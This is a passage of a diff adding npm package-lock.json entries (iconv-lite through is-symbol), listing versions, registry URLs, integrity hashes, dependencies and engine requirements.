"node_modules/iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/icss-replace-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/icss-replace-symbols/-/icss-replace-symbols-1.1.0.tgz", + "integrity": "sha1-Bupvg2ead0njhs/h/oEq5dsiPe0=", + "dev": true + }, + "node_modules/icss-utils": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/icss-utils/-/icss-utils-2.1.0.tgz", + "integrity": "sha1-g/Cg7DeL8yRheLbCrZE28TWxyWI=", + "dev": true, + "dependencies": { + "postcss": "^6.0.1" + } + }, + "node_modules/icss-utils/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/icss-utils/node_modules/chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/icss-utils/node_modules/color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "dependencies": { + "color-name": "1.1.1" + } + }, + "node_modules/icss-utils/node_modules/color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "node_modules/icss-utils/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/icss-utils/node_modules/postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "dependencies": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/icss-utils/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/icss-utils/node_modules/supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/iferr": { + "version": "0.1.5", + "resolved": "https://registry.npmjs.org/iferr/-/iferr-0.1.5.tgz", + "integrity": "sha1-xg7taebY/bazEEofy8ocGS3FtQE=", + "dev": true + }, + "node_modules/ignore": { + "version": "3.3.10", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-3.3.10.tgz", + "integrity": "sha512-Pgs951kaMm5GXP7MOvxERINe3gsaVjUWFm+UZPSq9xYriQAksyhg0csnS0KXSNRD5NmNdapXEpjxG49+AKh/ug==", + "dev": true + }, + "node_modules/iltorb": { + "version": "1.3.10", + "resolved": "https://registry.npmjs.org/iltorb/-/iltorb-1.3.10.tgz", + "integrity": "sha512-nyB4+ru1u8CQqQ6w7YjasboKN3NQTN8GH/V/eEssNRKhW6UbdxdWhB9fJ5EEdjJfezKY0qPrcwLyIcgjL8hHxA==", + "deprecated": "The zlib module provides APIs for brotli compression/decompression starting with Node.js v10.16.0, please use it over iltorb", + "dev": true, + "hasInstallScript": true, + "optional": true, + "dependencies": { + "detect-libc": "^0.2.0", + "nan": "^2.6.2", + "node-gyp": "^3.6.2", + "prebuild-install": "^2.3.0" + } + }, + "node_modules/image-size": { + "version": "0.5.5", + "resolved": "https://registry.npmjs.org/image-size/-/image-size-0.5.5.tgz", + "integrity": "sha1-Cd/Uq50g4p6xw+gLiZA3jfnjy5w=", + "dev": true, + "optional": true, + "bin": { + "image-size": "bin/image-size.js" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/import-fresh": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-2.0.0.tgz", + "integrity": "sha512-eZ5H8rcgYazHbKC3PG4ClHNykCSxtAhxSSEM+2mb+7evD2CKF5V7c0dNum7AdpDh0ZdICwZY9sRSn8f+KH96sg==", + "peer": true, + "dependencies": { + "caller-path": "^2.0.0", + "resolve-from": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/import-fresh/node_modules/caller-path": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/caller-path/-/caller-path-2.0.0.tgz", + "integrity": "sha512-MCL3sf6nCSXOwCTzvPKhN18TU7AHTvdtam8DAogxcrJ8Rjfbbg7Lgng64H9Iy+vUV6VGFClN/TyxBkAebLRR4A==", + "peer": true, + "dependencies": { + "caller-callsite": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/import-fresh/node_modules/resolve-from": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-3.0.0.tgz", + "integrity": "sha512-GnlH6vxLymXJNMBo7XP1fJIzBFbdYt49CuTwmB/6N53t+kMPRMFKz783LlQ4tv28XoQfMWinAJX6WCGf2IlaIw==", + "peer": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/imurmurhash": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha1-khi5srkoojixPcT7a21XbyMUU+o=", + "engines": { + "node": ">=0.8.19" + } + }, + "node_modules/in-publish": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/in-publish/-/in-publish-2.0.0.tgz", + "integrity": "sha1-4g/146KvwmkDILbcVSaCqcf631E=", + "dev": true, + "bin": { + "in-install": "in-install.js", + "in-publish": "in-publish.js", + "not-in-install": "not-in-install.js", + "not-in-publish": "not-in-publish.js" + } + }, + "node_modules/indent-string": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-2.1.0.tgz", + "integrity": "sha1-ji1INIdCEhtKghi3oTfppSBJ3IA=", + "dev": true, + "dependencies": { + "repeating": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/indexes-of": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/indexes-of/-/indexes-of-1.0.1.tgz", + "integrity": "sha1-8w9xbI4r00bHtn0985FVZqfAVgc=", + "dev": true + }, + "node_modules/indexof": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/indexof/-/indexof-0.0.1.tgz", + "integrity": "sha1-gtwzbSMrkGIXnQWrMpOmYFn9Q10=", + "dev": true + }, + "node_modules/infer-owner": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/infer-owner/-/infer-owner-1.0.4.tgz", + "integrity": "sha512-IClj+Xz94+d7irH5qRyfJonOdfTzuDaifE6ZPWfx0N0+/ATZCbuTPq2prFl526urkQd90WyUKIh1DfBQ2hMz9A==", + "dev": true + }, + "node_modules/inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=", + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/inherits": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", + "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" + }, + "node_modules/ini": { + "version": "1.3.5", + "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.5.tgz", + "integrity": "sha512-RZY5huIKCMRWDUqZlEi72f/lmXKMvuszcMBduliQ3nnWbx9X/ZBQO7DijMEYS9EhHBb2qacRUMtC7svLwe0lcw==", + "deprecated": "Please update to ini >=1.3.6 to avoid a prototype pollution issue", + "dev": true, + "engines": { + "node": "*" + } + }, + "node_modules/inline-source-map": { + "version": "0.6.2", + "resolved": "https://registry.npmjs.org/inline-source-map/-/inline-source-map-0.6.2.tgz", + "integrity": "sha1-+Tk0ccGKedFyT4Y/o4tYY3Ct4qU=", + "dev": true, + "dependencies": { + "source-map": "~0.5.3" + } + }, + "node_modules/inquirer": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-3.3.0.tgz", + "integrity": "sha512-h+xtnyk4EwKvFWHrUYsWErEVR+igKtLdchu+o0Z1RL7VU/jVMFbYir2bp6bAj8efFNxWqHX0dIss6fJQ+/+qeQ==", + "dev": true, + "dependencies": { + "ansi-escapes": "^3.0.0", + "chalk": "^2.0.0", + "cli-cursor": "^2.1.0", + "cli-width": "^2.0.0", + "external-editor": "^2.0.4", + "figures": "^2.0.0", + "lodash": "^4.3.0", + "mute-stream": "0.0.7", + "run-async": "^2.2.0", + "rx-lite": "^4.0.8", + "rx-lite-aggregates": "^4.0.8", + "string-width": "^2.1.0", + "strip-ansi": "^4.0.0", + "through": "^2.3.6" + } + }, + "node_modules/inquirer/node_modules/ansi-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", + "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/inquirer/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/inquirer/node_modules/chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/inquirer/node_modules/color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "dependencies": { + "color-name": "1.1.1" + } + }, + "node_modules/inquirer/node_modules/color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "node_modules/inquirer/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/inquirer/node_modules/is-fullwidth-code-point": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/inquirer/node_modules/string-width": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz", + "integrity": "sha1-q5Pyeo3BPSjKyBXEYhQ6bZASrp4=", + "dev": true, + "dependencies": { + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^4.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/inquirer/node_modules/strip-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", + "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", + "dev": true, + "dependencies": { + "ansi-regex": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/inquirer/node_modules/supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/insert-module-globals": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/insert-module-globals/-/insert-module-globals-7.2.0.tgz", + "integrity": "sha512-VE6NlW+WGn2/AeOMd496AHFYmE7eLKkUY6Ty31k4og5vmA3Fjuwe9v6ifH6Xx/Hz27QvdoMoviw1/pqWRB09Sw==", + "dev": true, + "dependencies": { + "acorn-node": "^1.5.2", + "combine-source-map": "^0.8.0", + "concat-stream": "^1.6.1", + "is-buffer": "^1.1.0", + "JSONStream": "^1.0.3", + "path-is-absolute": "^1.0.1", + "process": "~0.11.0", + "through2": "^2.0.0", + "undeclared-identifiers": "^1.1.2", + "xtend": "^4.0.0" + }, + "bin": { + "insert-module-globals": "bin/cmd.js" + } + }, + "node_modules/insert-module-globals/node_modules/concat-stream": { + "version": "1.6.2", + "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz", + "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==", + "dev": true, + "engines": [ + "node >= 0.8" + ], + "dependencies": { + "buffer-from": "^1.0.0", + "inherits": "^2.0.3", + "readable-stream": "^2.2.2", + "typedarray": "^0.0.6" + } + }, + "node_modules/interpret": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/interpret/-/interpret-1.1.0.tgz", + "integrity": "sha1-ftGxQQxqDg94z5XTuEQMY/eLhhQ=", + "dev": true + }, + "node_modules/invariant": { + "version": "2.2.4", + "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz", + "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==", + "dependencies": { + "loose-envify": "^1.0.0" + } + }, + "node_modules/invert-kv": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-1.0.0.tgz", + "integrity": "sha1-EEqOSqym09jNFXqO+L+rLXo//bY=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/ip": { + "version": "1.1.8", + "resolved": "https://registry.npmjs.org/ip/-/ip-1.1.8.tgz", + "integrity": "sha512-PuExPYUiu6qMBQb4l06ecm6T6ujzhmh+MeJcW9wa89PoAz5pvd4zPgN5WJV104mb6S2T1AwNIAaB70JNrLQWhg==", + "peer": true + }, + "node_modules/is-absolute-url": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-absolute-url/-/is-absolute-url-2.1.0.tgz", + "integrity": "sha1-UFMN+4T8yap9vnhS6Do3uTufKqY=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-accessor-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", + "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-arrayish": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", + "integrity": "sha1-d8mYQFJ6qOyxqLppe4BkWnqSap0=" + }, + "node_modules/is-binary-path": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-1.0.1.tgz", + "integrity": "sha1-dfFmQrSA8YenEcgUFh/TpKdlWJg=", + "dev": true, + "dependencies": { + "binary-extensions": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-buffer": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-1.1.5.tgz", + "integrity": "sha1-Hzsm72E7IUuIy8ojzGwB2Hlh7sw=", + "deprecated": "This version of 'is-buffer' is out-of-date. You must update to v1.1.6 or newer" + }, + "node_modules/is-builtin-module": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-builtin-module/-/is-builtin-module-1.0.0.tgz", + "integrity": "sha1-VAVy0096wxGfj3bDDLwbHgN6/74=", + "dev": true, + "dependencies": { + "builtin-modules": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-callable": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.1.4.tgz", + "integrity": "sha512-r5p9sxJjYnArLjObpjA4xu5EKI3CuKHkJXMhT7kwbpUyIFD1n5PMAsoPvWnvtZiNz7LjkYDRZhd7FlI0eMijEA==", + "dev": true, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/is-color-stop": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-color-stop/-/is-color-stop-1.1.0.tgz", + "integrity": "sha1-z/9HGu5N1cnhWFmPvhKWe1za00U=", + "dev": true, + "dependencies": { + "css-color-names": "^0.0.4", + "hex-color-regex": "^1.1.0", + "hsl-regex": "^1.0.0", + "hsla-regex": "^1.0.0", + "rgb-regex": "^1.0.1", + "rgba-regex": "^1.0.0" + } + }, + "node_modules/is-core-module": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.3.0.tgz", + "integrity": "sha512-xSphU2KG9867tsYdLD4RWQ1VqdFl4HTO9Thf3I/3dLEfr0dbPTWKsuCKrgqMljg4nPE+Gq0VCnzT3gr0CyBmsw==", + "dependencies": { + "has": "^1.0.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-data-descriptor": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", + "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-date-object": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.0.1.tgz", + "integrity": "sha1-mqIOtq7rv/d/vTPnTKAbM1gdOhY=", + "dev": true, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/is-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", + "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", + "dependencies": { + "is-accessor-descriptor": "^0.1.6", + "is-data-descriptor": "^0.1.4", + "kind-of": "^5.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-descriptor/node_modules/kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-directory": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/is-directory/-/is-directory-0.3.1.tgz", + "integrity": "sha1-YTObbyR1/Hcv2cnYP1yFddwVSuE=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-dotfile": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/is-dotfile/-/is-dotfile-1.0.3.tgz", + "integrity": "sha1-pqLzL/0t+wT1yiXs0Pa4PPeYoeE=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-equal-shallow": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/is-equal-shallow/-/is-equal-shallow-0.1.3.tgz", + "integrity": "sha1-IjgJj8Ih3gvPpdnqxMRdY4qhxTQ=", + "dev": true, + "dependencies": { + "is-primitive": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-expression": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/is-expression/-/is-expression-4.0.0.tgz", + "integrity": "sha512-zMIXX63sxzG3XrkHkrAPvm/OVZVSCPNkwMHU8oTX7/U3AL78I0QXCEICXUM13BIa8TYGZ68PiTKfQz3yaTNr4A==", + "dev": true, + "dependencies": { + "acorn": "^7.1.1", + "object-assign": "^4.1.1" + } + }, + "node_modules/is-extendable": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz", + "integrity": "sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-extglob": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-1.0.0.tgz", + "integrity": "sha1-rEaBd8SUNAWgkvyPKXYMb/xiBsA=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-finite": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-finite/-/is-finite-1.0.2.tgz", + "integrity": "sha1-zGZ3aVYCvlUO8R6LSqYwU0K20Ko=", + "dev": true, + "dependencies": { + "number-is-nan": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz", + "integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=", + "dev": true, + "dependencies": { + "number-is-nan": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-glob": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-2.0.1.tgz", + "integrity": "sha1-0Jb5JqPe1WAPP9/ZEZjLCIjC2GM=", + "dev": true, + "dependencies": { + "is-extglob": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-interactive": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-interactive/-/is-interactive-1.0.0.tgz", + "integrity": "sha512-2HvIEKRoqS62guEC+qBjpvRubdX910WCMuJTZ+I9yvqKU2/12eSL549HMwtabb4oupdj2sMP50k+XJfB/8JE6w==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-number": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-2.1.0.tgz", + "integrity": "sha1-Afy7s5NGOlSPL0ZszhbezknbkI8=", + "dev": true, + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-obj": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-1.0.1.tgz", + "integrity": "sha1-PkcprB9f3gJc19g6iW2rn09n2w8=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-path-cwd": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-path-cwd/-/is-path-cwd-1.0.0.tgz", + "integrity": "sha1-0iXsIxMuie3Tj9p2dHLmLmXxEG0=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-path-in-cwd": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-path-in-cwd/-/is-path-in-cwd-1.0.1.tgz", + "integrity": "sha512-FjV1RTW48E7CWM7eE/J2NJvAEEVektecDBVBE5Hh3nM1Jd0kvhHtX68Pr3xsDf857xt3Y4AkwVULK1Vku62aaQ==", + "dev": true, + "dependencies": { + "is-path-inside": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-path-inside": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-1.0.1.tgz", + "integrity": "sha1-jvW33lBDej/cprToZe96pVy0gDY=", + "dev": true, + "dependencies": { + "path-is-inside": "^1.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-plain-obj": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-1.1.0.tgz", + "integrity": "sha1-caUMhCnfync8kqOQpKA7OfzVHT4=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-plain-object": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz", + "integrity": "sha1-LBY7P6+xtgbZ0Xko8FwqHDjgdnc=", + "dependencies": { + "isobject": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-plain-object/node_modules/isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-posix-bracket": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/is-posix-bracket/-/is-posix-bracket-0.1.1.tgz", + "integrity": "sha1-MzTceXdDaOkvAW5vvAqI9c1ua8Q=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-primitive": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-primitive/-/is-primitive-2.0.0.tgz", + "integrity": "sha1-IHurkWOEmcB7Kt8kCkGochADRXU=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-promise": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-2.1.0.tgz", + "integrity": "sha1-eaKp7OfwlugPNtKy87wWwf9L8/o=", + "dev": true + }, + "node_modules/is-regex": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.0.4.tgz", + "integrity": "sha1-VRdIm1RwkbCTDglWVM7SXul+lJE=", + "dev": true, + "dependencies": { + "has": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/is-resolvable": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-resolvable/-/is-resolvable-1.1.0.tgz", + "integrity": "sha512-qgDYXFSR5WvEfuS5dMj6oTMEbrrSaM0CrFk2Yiq/gXnBvD9pMa2jGXxyhGLfvhZpuMZe18CJpFxAt3CRs42NMg==", + "dev": true + }, + "node_modules/is-stream": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz", + "integrity": "sha1-EtSj3U5o4Lec6428hBc66A2RykQ=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-svg": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-svg/-/is-svg-2.1.0.tgz", + "integrity": "sha1-z2EJDaDZ77yrhyLeum8DIgjbsOk=", + "dev": true, + "dependencies": { + "html-comment-regex": "^1.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-symbol": { 